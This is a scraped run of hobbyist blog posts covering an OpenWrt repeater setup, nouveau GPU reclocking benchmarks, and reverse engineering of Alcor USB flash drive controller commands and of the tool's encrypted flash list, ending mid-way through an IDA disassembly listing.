<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEin5UrEqJLNCANPZ5hUxK-jZlvFoAKKZuR6uuw2SgSF0eELZqiDyZ-OroqX2Zo4tDtsy04-pXRIt53fLGBAi8EOQBP4qOQzjauxOnpGNinrTi9kft25VpEDpviQrBKm1XW4tZjwJczdbiWC/s1600/Selezione_030.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEin5UrEqJLNCANPZ5hUxK-jZlvFoAKKZuR6uuw2SgSF0eELZqiDyZ-OroqX2Zo4tDtsy04-pXRIt53fLGBAi8EOQBP4qOQzjauxOnpGNinrTi9kft25VpEDpviQrBKm1XW4tZjwJczdbiWC/s1600/Selezione_030.png" height="320" width="299" /></a></div>
<div class="separator" style="clear: both; text-align: left;">
Once you have done here, click save and apply to create the new access point</div>
<h2 style="clear: both; text-align: left;">
Setting up the repeater</h2>
<div>
As with the main access point , login and go to Wifi section, remove any existing SSIDs / Client and then click "Scan"</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgE-g202EiDnOgIp3yeef7HblI3GfsLN_N1sjJ3srDhS_zle0yq5C_T-mRQh3hyM1aTZKPGWNMF0tfCjD6RJX9UZVBplYJ2ol3xwaunuOfWJ3k7DcpRedQNpudetBioVllSWqER69UMUroW/s1600/Selezione_031.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgE-g202EiDnOgIp3yeef7HblI3GfsLN_N1sjJ3srDhS_zle0yq5C_T-mRQh3hyM1aTZKPGWNMF0tfCjD6RJX9UZVBplYJ2ol3xwaunuOfWJ3k7DcpRedQNpudetBioVllSWqER69UMUroW/s1600/Selezione_031.png" height="144" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg05-oTEC1nvPR6RDpCNHMWPwyywJ2pKSATwqZSh3hB1SaOCzNVmaiL6CAY9T8XKkCrT-zWUMDmBEGrQy9hbflKNTitRcwkHQXjteI5txTmCtwrORojPNsXuwfCTxKwv35_cCB9LUm1b-gu/s1600/Selezione_032.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg05-oTEC1nvPR6RDpCNHMWPwyywJ2pKSATwqZSh3hB1SaOCzNVmaiL6CAY9T8XKkCrT-zWUMDmBEGrQy9hbflKNTitRcwkHQXjteI5txTmCtwrORojPNsXuwfCTxKwv35_cCB9LUm1b-gu/s1600/Selezione_032.png" height="135" width="320" /></a></div>
<div>
Once you get the scan results( it can take up to 45 secs ) , select the network you are interested in , and click "Join network"</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg2IoStxD3v6HPj2BoDApsowGm4IuZK3kuL0E_QMr_2u3XsjYP4ZsxR1VBIqKAaIoQFIAE-PsmFTB81Cslh8rJMaQdVG7gRfomHWcwbMYIktcmezsbNqz5vg-bj2GtF57JY3Ah6AtiVFwnf/s1600/Selezione_033.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg2IoStxD3v6HPj2BoDApsowGm4IuZK3kuL0E_QMr_2u3XsjYP4ZsxR1VBIqKAaIoQFIAE-PsmFTB81Cslh8rJMaQdVG7gRfomHWcwbMYIktcmezsbNqz5vg-bj2GtF57JY3Ah6AtiVFwnf/s1600/Selezione_033.png" height="194" width="320" /></a></div>
<div>
Once done click submit</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVnm7J22qmPpkIRMgKTmIJM_gdp1muhygQpfGzUmx5-1MtGhKI9b-k5Ct9N9Ej6eJVnndO67PjA0JVoMgkqgAQo_Bg4-S89C51HuS0ZyAzBmdceBqDoCVZnyeUe3z9kCcJsSsK9vymMLl1/s1600/Selezione_034.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVnm7J22qmPpkIRMgKTmIJM_gdp1muhygQpfGzUmx5-1MtGhKI9b-k5Ct9N9Ej6eJVnndO67PjA0JVoMgkqgAQo_Bg4-S89C51HuS0ZyAzBmdceBqDoCVZnyeUe3z9kCcJsSsK9vymMLl1/s1600/Selezione_034.png" height="320" width="317" /></a></div>
<div>
When done with changing to client (WDS) and if needed setting up security , click "Save" , not save and apply , not yet</div>
<div>
Now you have to create an access point ssid , to do that repeat the steps on the <b>main access point </b>, but when selecting the network , instead of choosing <b>lan</b> , choose repeater or whatever you entered when creating WDS Client interface , and the click <b>Save and Apply</b> and enjoy your openwrt based repeater</div>
<div>
<br /></div>
Anonymoushttp://www.blogger.com/profile/13032380667408850688noreply@blogger.com0tag:blogger.com,1999:blog-413688212424257444.post-78886999482309816362014-08-30T14:36:00.002-07:002014-08-30T14:36:34.372-07:00Quick test of NVA3 series reclocking with nouveau and comparison with NVIDIA drivers<div class="separator" style="clear: both; text-align: center;">
These months there has been a lot of work on reclocking support for NVA3 nvidia cards by Roy Spliet on the opensource nouveau drivers.</div>
Since i own a Geforce 210 GT i've decided to give it a try with some benchmark and the results are quite good<br /><br />The reclocking of these cards is still very unstable, to have higher chance of success in reclocking, use an fbconsole and not the terminal from some composited environment like gnome-shell.<br /><br />First game i've tested is tesseract, which is an graphically upgraded version of sauerbraten<br /><br /><br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEix7T-jPbcbEkJe-8fOLHSfahF0VLUTh3AyoRhk087tfwcZl1iRki-PFaf045GU071TLisIrZ-h5LpCZ8XlZqnLyARl94PCo4f684afqhhx9uxSTzbzOHhuk_pVdZkQ2zf8cdASUbLzVqUN/s1600/systems.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEix7T-jPbcbEkJe-8fOLHSfahF0VLUTh3AyoRhk087tfwcZl1iRki-PFaf045GU071TLisIrZ-h5LpCZ8XlZqnLyARl94PCo4f684afqhhx9uxSTzbzOHhuk_pVdZkQ2zf8cdASUbLzVqUN/s1600/systems.png" height="400" width="257" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj91Eie_APhu4Mzlb305Zyuyx79fQ9lhrry7-0hCP5g-5tMDJWmSBrMz8XTq-mfIo3Eu11RbXqFkLViONuruARwvg1PoQm6IFKTEngZWyrmzCsTGUMvymj1eLf-9ygx4ch0FMV6bVvg3My7/s1600/1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj91Eie_APhu4Mzlb305Zyuyx79fQ9lhrry7-0hCP5g-5tMDJWmSBrMz8XTq-mfIo3Eu11RbXqFkLViONuruARwvg1PoQm6IFKTEngZWyrmzCsTGUMvymj1eLf-9ygx4ch0FMV6bVvg3My7/s1600/1.png" height="128" width="320" /></a></div>
<div>
Nouveau , when reclocked to highest performance level, can get very near to NVIDIA Proprietary driver, maybe with bleeding edge mesa , it could actually reach it.</div>
<div>
<br /></div>
<div>
Second game tested is Openarena :</div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjGt8URpqkl6A63J_NuYxuDnIVgZQOuQMuPkgltL4i7Cv_QbrdDhAu1aU428vXe1fbNsDt1ZMNtzoZ4myGF2HrP9jHgYJ9uCRuwFyl8wyGVmcik2apm1aTUtve5gWCq1wEE9ypXZ4QfKYmR/s1600/1_oa.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjGt8URpqkl6A63J_NuYxuDnIVgZQOuQMuPkgltL4i7Cv_QbrdDhAu1aU428vXe1fbNsDt1ZMNtzoZ4myGF2HrP9jHgYJ9uCRuwFyl8wyGVmcik2apm1aTUtve5gWCq1wEE9ypXZ4QfKYmR/s1600/1_oa.png" height="128" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
Also on this one, performance suffered a great boost from reclocking, on that card 07 corresponds to boot frequencies, so before RSpliet's work, only 07 was available.</div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiXnnLw43468uQarQtyZD8pGAN8M_6Z4R0HMK5Y7NBXrLO3tcTKwuPafJW5KkwgvqaT7pukgQNqC9JW0IcNFjtV_GZg-s04Lvam48Y7q52DLhEGg9LYG5ib9ne2DBnDqQK62UZZwYTEMVRf/s1600/1.svg.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiXnnLw43468uQarQtyZD8pGAN8M_6Z4R0HMK5Y7NBXrLO3tcTKwuPafJW5KkwgvqaT7pukgQNqC9JW0IcNFjtV_GZg-s04Lvam48Y7q52DLhEGg9LYG5ib9ne2DBnDqQK62UZZwYTEMVRf/s1600/1.svg.png" height="104" width="320" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh_FLIdxU1Knb4m-n93zg2pJtFHq29PiCWesHyo9rx3dIOcSPc2q3xifLEdAiv0JIOSRX88cPU3vPisdCHvrY1NG_6xmS4Z3wYjEgJnzwYvN9vKWFXl1Sr7qY-BDkEWda4y7ZWZoT9gisiG/s1600/2.svg.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh_FLIdxU1Knb4m-n93zg2pJtFHq29PiCWesHyo9rx3dIOcSPc2q3xifLEdAiv0JIOSRX88cPU3vPisdCHvrY1NG_6xmS4Z3wYjEgJnzwYvN9vKWFXl1Sr7qY-BDkEWda4y7ZWZoT9gisiG/s1600/2.svg.png" height="104" width="320" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjGymEZJ8lKn42Lo-0ioZTnIdE2uRu4S99HaRQH5BhSM95HfYZ2G3M8IfdVuUKRryCa5cyyEUioLpNFJUcbbU0mSUauv_8AtdWS3pucTOStbhalQpvcW-YdTaiVKXkvqtQY1dQZ-bbfIc6C/s1600/3.svg.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjGymEZJ8lKn42Lo-0ioZTnIdE2uRu4S99HaRQH5BhSM95HfYZ2G3M8IfdVuUKRryCa5cyyEUioLpNFJUcbbU0mSUauv_8AtdWS3pucTOStbhalQpvcW-YdTaiVKXkvqtQY1dQZ-bbfIc6C/s1600/3.svg.png" height="104" width="320" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiRXi_BogaMsWY-b9ky5943qd6P4zSBTwwHljcDAJ5a88DA03LaxTf5LYdT68UOMAtlB66HyNwyS-A5uwtvR6GxSoR-wuWomxX6YoqkVdkxxKym073-yNFGIIFXr6iHqMr1z9zDAQMp3IZV/s1600/4.svg.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiRXi_BogaMsWY-b9ky5943qd6P4zSBTwwHljcDAJ5a88DA03LaxTf5LYdT68UOMAtlB66HyNwyS-A5uwtvR6GxSoR-wuWomxX6YoqkVdkxxKym073-yNFGIIFXr6iHqMr1z9zDAQMp3IZV/s1600/4.svg.png" height="104" width="320" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEggR1IEISuo65UfUcEvGxP9MfgmxolXG-TZnQ72D7IvL_NQbK53LslI_68BUXaMxMxEAKASr2AgfeNNC71bqA4vJh4sCyAAQVWzPDytM9ca-_nYqXXg6sU7XLeUvcaWFCzhDv0wdE_nhXA_/s1600/5.svg.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEggR1IEISuo65UfUcEvGxP9MfgmxolXG-TZnQ72D7IvL_NQbK53LslI_68BUXaMxMxEAKASr2AgfeNNC71bqA4vJh4sCyAAQVWzPDytM9ca-_nYqXXg6sU7XLeUvcaWFCzhDv0wdE_nhXA_/s1600/5.svg.png" height="79" width="320" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjxJA5_bONneGqS05ehovEl4mzEws8pBPYRUJ6N5087VLtLVX083QfpLdB293z2RNgyOAeFh1WtTxCxQ3zxqzl-Pz5ksIOuDwc6sRstzhHXFEtvlrXQBlloMuwR_5q3R43Rm686FUJLrNo2/s1600/6.svg.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjxJA5_bONneGqS05ehovEl4mzEws8pBPYRUJ6N5087VLtLVX083QfpLdB293z2RNgyOAeFh1WtTxCxQ3zxqzl-Pz5ksIOuDwc6sRstzhHXFEtvlrXQBlloMuwR_5q3R43Rm686FUJLrNo2/s1600/6.svg.png" height="79" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: left;">
<br />Gpu test also , except some tests gave same results<br /><br /><br />Pixmark Volposition and GiMark , both failed and caused nouveau to crash<br /><br />Meantime i'm downloading other games and i'm going to test also a geforce GT330 m from my sony vaio notebook , once it is reclockable to highest performance level.<br /><br /></div>
Anonymoushttp://www.blogger.com/profile/13032380667408850688noreply@blogger.com0tag:blogger.com,1999:blog-413688212424257444.post-44067890141669636022014-07-20T08:11:00.000-07:002014-07-20T08:11:05.183-07:00Alcor UFD Controller Hacking update 2In these days between some exercises for a microeconomics exam , i've continued to work on reverse engineering the Alcor 698x UFD microcontroller, and i've got another poor quality Alcor based flash drive from a friend , so now i've an 8 GB one , and a 4 GB one.<br />
<br />
I've started , with the help of wireshark , usbmon and a virtual machine running windows with USB forwarding by SPICE , reverse engineering the format of the various vendor specific commands that are sent to the flash drive.<br />
<br />
But while working on it i've encountered a serious problem , the Linux kernel scsi implementation removes the 3 MSBs from the 2nd byte of the SCSI commands , which in our case , breaks various commands , for example , 0x51 directed at LUN 0 , would become 0x11.<br />
<br />
The interesting commands now are two: 0x82 and 0x81 , they are used to download and upload configurations to the flash drive.<br />
<br />
<br />
<h2>
The 0x81 command is used with that specific CDB</h2>
<br /><br />
<b><span style="font-family: Courier New, Courier, monospace;">0x81 , 0x00 0xff , 0x00 , 0x00 , 0x00 , 0x00, 0x00 ,0x00 ,0x00 ,0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 </span></b><br />
<b><span style="font-family: Courier New, Courier, monospace;"><br /></span></b>
Then it takes 512 bytes of data that contains the actual configuration, below there's an example of that configuration:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjTkuheYFeYA_8dEk3xV8TB7e1BRfMNGysMKx38Jid_oDb6TouFMeOiXLtjN3nkE92SyQKKNKKijWfwPoiy8Fv00MIwV0D7UmHa17G8kcE0PARYvA_qO8CQpWoPOPKs1HV220FlMk_DqP1e/s1600/Selezione_242.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjTkuheYFeYA_8dEk3xV8TB7e1BRfMNGysMKx38Jid_oDb6TouFMeOiXLtjN3nkE92SyQKKNKKijWfwPoiy8Fv00MIwV0D7UmHa17G8kcE0PARYvA_qO8CQpWoPOPKs1HV220FlMk_DqP1e/s1600/Selezione_242.png" height="86" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
Let's look at what i've found so far:</div>
<div class="separator" style="clear: both; text-align: left;">
Going from the start of the file to the end</div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
99 07 : This seems to be some sort of signature i have yet to find a flash drive that does not have it</div>
<div class="separator" style="clear: both; text-align: left;">
10 : This is the vendor string length ( including zeroes , the length field itself and the type field )</div>
<div class="separator" style="clear: both; text-align: left;">
26: This is the product string length ( including zeroes , the length field itself and the type field )</div>
<div class="separator" style="clear: both; text-align: left;">
12 01 10 01 00 00 00 08: These bytes are still unknown , 12 could be the SCSI vendor string length , but still not tested</div>
<div class="separator" style="clear: both; text-align: left;">
8F 05: This is the little endian representation of the VID ( Vendor ID ) that the usb device will show to the PC</div>
<div class="separator" style="clear: both; text-align: left;">
87 63: This is the little endian representation of the PID ( Product ID ) that the usb device will show to the computer</div>
<div class="separator" style="clear: both; text-align: left;">
05 01: These are the bcdDevice field of the usb descriptor</div>
<div class="separator" style="clear: both; text-align: left;">
01: Manufacter index ( not confirmed )</div>
<div class="separator" style="clear: both; text-align: left;">
02: Product index , ( not confirmed )</div>
<div class="separator" style="clear: both; text-align: left;">
00 01: Unknown</div>
<div class="separator" style="clear: both; text-align: left;">
10: Again vendor string length</div>
<div class="separator" style="clear: both; text-align: left;">
03: Descriptor type ( String)</div>
<div class="separator" style="clear: both; text-align: left;">
10 03 48 00 61 00 63 00 6B 00 69 00 6E 00 67 00: Actual Vendor String</div>
<div class="separator" style="clear: both; text-align: left;">
26: Product string length ( Again )</div>
<div class="separator" style="clear: both; text-align: left;">
03: Descriptor type ( String )</div>
<div class="separator" style="clear: both; text-align: left;">
50 00 52 00 4F 00 56 00 41 00 50 00 52 00 4F 00 44 00 4F 00 54 00 54 00 4F 00 50 00 52 00 4F 00 56 00 41 00: The actual product string</div>
<div class="separator" style="clear: both; text-align: left;">
47 65 6E 65 72 69 63 20 46 6C 61 73 68 20 44 69 73 6B 20 20 20 20 20 20 38 2E 30 30: SCSI Identification string (Generic Flash Disk 8.00)</div>
<div class="separator" style="clear: both; text-align: left;">
<b>02: This byte is a checksum of the all bytes before it , if you set it incorrectly , the flash drive will refuse to use the settings, to calculate it , sum all bytes values ( unsigned ) , and then do &0xFF to use only the first eight bits.</b></div>
<div class="separator" style="clear: both; text-align: left;">
AA 55 : Unknown </div>
<div class="separator" style="clear: both; text-align: left;">
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 : Padding</div>
<div class="separator" style="clear: both; text-align: left;">
3C C3 : Unknown</div>
<div class="separator" style="clear: both; text-align: left;">
2A : Serial string length</div>
<div class="separator" style="clear: both; text-align: left;">
03: Descriptor type (String )</div>
<div class="separator" style="clear: both; text-align: left;">
32 00 30 00 31 00 34 00 30 00 37 00 31 00 39 00 31 00 34 00 31 00 34 00 32 00 37 00 30 00 38 00 35 00 46 00 30 00 37 00 42: The actual serial number string</div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
After that there are @ offset 0xc3 an 0xc7 two 02 which are unknown</div>
<div class="separator" style="clear: both; text-align: left;">
And @ 0xd4 there's 88 50 51 49 which is unknown too</div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
Once the settings have been uploaded , the flash drive has to be unplugged and plugged in again</div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<h2 style="clear: both; text-align: left;">
The 0x82 command</h2>
<div>
This command instead, is used to read current configuration, it can be used in two ways</div>
<h3>
82 51 01 00 00 00 00 00 00 00</h3>
<div>
In that way you will get the current usb configuration with the same format as 0x81 command, 512 bytes too</div>
<h3>
82 51 00 00 00 00 00 00 00 00 </h3>
<div class="separator" style="clear: both; text-align: left;">
With this one instead you get another configuration(maybe) that still has to be investigated, and i have to figure out how it is uploaded too</div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
I've created a git repository on github.com containing the kernel patch and the current code for the alcorhack tool</div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
<a href="https://github.com/tizbac/alcorhack" target="_blank">https://github.com/tizbac/alcorhack</a></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
Again , if someone wants to help, contact me on G+ or comment here </div>
<br />Anonymoushttp://www.blogger.com/profile/13032380667408850688noreply@blogger.com0tag:blogger.com,1999:blog-413688212424257444.post-31613087124847470592014-07-12T13:05:00.001-07:002014-07-12T13:05:14.845-07:00Alcor UFD Controller Reverse engineering part 1 , querying info and decrypting the flash list shipped in AlcorMP toolI've started that work because i want to port AlcorMP utility to Linux and to be able to use custom flash chips with these UFD chips, this utility called AlcorMP allows to do a lot of stuff , from checking flash integrity to programming the usb flash drive into a CD-Rom emulator.<br />
<br />
For who is new to that field, these flash drives store configuration data and badblocks on an hidden sector of the flash memowy which normally is not visible by the end user.<br />
<br />
To program that sector you have to issue vendor specific SCSI commands, the ones that i've found are:<br />
0x9a: Seems to return 0x200 bytes of data still not reverse engineered<br />
0xfa00: Seems to return 0x200 bytes of data too, but this one returns the Flash Chip identification as the first 6 bytes , so it's something useful.<br />
There's also 0xf5 that is still unknown<br />
<br />
Now the hard part, first thing you will see when you try to figure out where the program takes the flash part.no and vendor, is that there's no plaintext list with that data, and there's no compressed data either.<br />
Analyzing it with binwalk gives a very discouraging entropy graph as shown below<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgDQr_OK3RlaIt8cmckFIjjKFxaGcShMV3eHbitPHFfcHkNpQjwTvTWo8J4dj_B5rF2jw_yIJKaKUPRhLhRp1NGlYZv1kngpT4vv_ARfNpWfsE_OZoXA5Sz57NqtwOGfJohfAO9haEBwSvW/s1600/Selezione_225.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgDQr_OK3RlaIt8cmckFIjjKFxaGcShMV3eHbitPHFfcHkNpQjwTvTWo8J4dj_B5rF2jw_yIJKaKUPRhLhRp1NGlYZv1kngpT4vv_ARfNpWfsE_OZoXA5Sz57NqtwOGfJohfAO9haEBwSvW/s1600/Selezione_225.png" height="257" width="320" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">flashlist.afl entropy plot using binwalk -E</td></tr>
</tbody></table>
<br />
<br />
After some work on the UfdComLib.dll , it turns out that the file flashlist.afl has been encrypted with a block cipher on purpose.<br />
<br />
Lucky the program itself ( except LLF.dll that is encrypted too ), is not obfuscated , so it has been relatively easy extracting the encryption algorithm from the program and use it to decode the flashlist.afl .<br />
<br />
The function on UfdComLib.dll that gives an huge help locating the decryption code with IDA is the one at 0x100022F0<br />
<br />
<span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100022F0
.text:100022F0 </span><span style="color: grey; font-family: 'Liberation Mono'; white-space: pre;">; =============== S U B R O U T I N E =======================================
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100022F0
.text:100022F0 </span><span style="color: grey; font-family: 'Liberation Mono'; white-space: pre;">; Attributes: bp-based frame
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100022F0
.text:100022F0 </span><span style="background-color: white; color: blue; font-family: 'Liberation Mono'; white-space: pre;">; int __cdecl sub_100022F0(LPCSTR lpFileName)
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100022F0 </span><span style="background-color: white; color: blue; font-family: 'Liberation Mono'; white-space: pre;">sub_100022F0 proc near </span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">; CODE XREF: sub_10001D80+292p
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100022F0
.text:100022F0 </span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">ReturnedString </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">= byte ptr </span><span style="color: #008040; font-family: 'Liberation Mono'; white-space: pre;">-14Ch
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100022F0 </span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">var_44 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">= byte ptr </span><span style="color: #008040; font-family: 'Liberation Mono'; white-space: pre;">-44h
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100022F0 </span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">var_40 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">= byte ptr </span><span style="color: #008040; font-family: 'Liberation Mono'; white-space: pre;">-40h
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100022F0 </span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">var_3C </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">= byte ptr </span><span style="color: #008040; font-family: 'Liberation Mono'; white-space: pre;">-3Ch
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100022F0 </span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">var_38 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">= byte ptr </span><span style="color: #008040; font-family: 'Liberation Mono'; white-space: pre;">-38h
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100022F0 </span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">var_36 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">= byte ptr </span><span style="color: #008040; font-family: 'Liberation Mono'; white-space: pre;">-36h
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100022F0 </span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">var_34 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">= byte ptr </span><span style="color: #008040; font-family: 'Liberation Mono'; white-space: pre;">-34h
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100022F0 </span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">var_32 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">= byte ptr </span><span style="color: #008040; font-family: 'Liberation Mono'; white-space: pre;">-32h
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100022F0 </span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">var_30 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">= byte ptr </span><span style="color: #008040; font-family: 'Liberation Mono'; white-space: pre;">-30h
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100022F0 </span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">var_2E </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">= byte ptr </span><span style="color: #008040; font-family: 'Liberation Mono'; white-space: pre;">-2Eh
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100022F0 </span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">AppName </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">= byte ptr </span><span style="color: #008040; font-family: 'Liberation Mono'; white-space: pre;">-2Ch
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100022F0 </span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">var_24 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">= dword ptr </span><span style="color: #008040; font-family: 'Liberation Mono'; white-space: pre;">-24h
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100022F0 </span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">var_20 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">= dword ptr </span><span style="color: #008040; font-family: 'Liberation Mono'; white-space: pre;">-20h
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100022F0 </span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">var_1C </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">= dword ptr </span><span style="color: #008040; font-family: 'Liberation Mono'; white-space: pre;">-1Ch
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100022F0 </span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">var_18 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">= dword ptr </span><span style="color: #008040; font-family: 'Liberation Mono'; white-space: pre;">-18h
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100022F0 </span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">var_14 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">= dword ptr </span><span style="color: #008040; font-family: 'Liberation Mono'; white-space: pre;">-14h
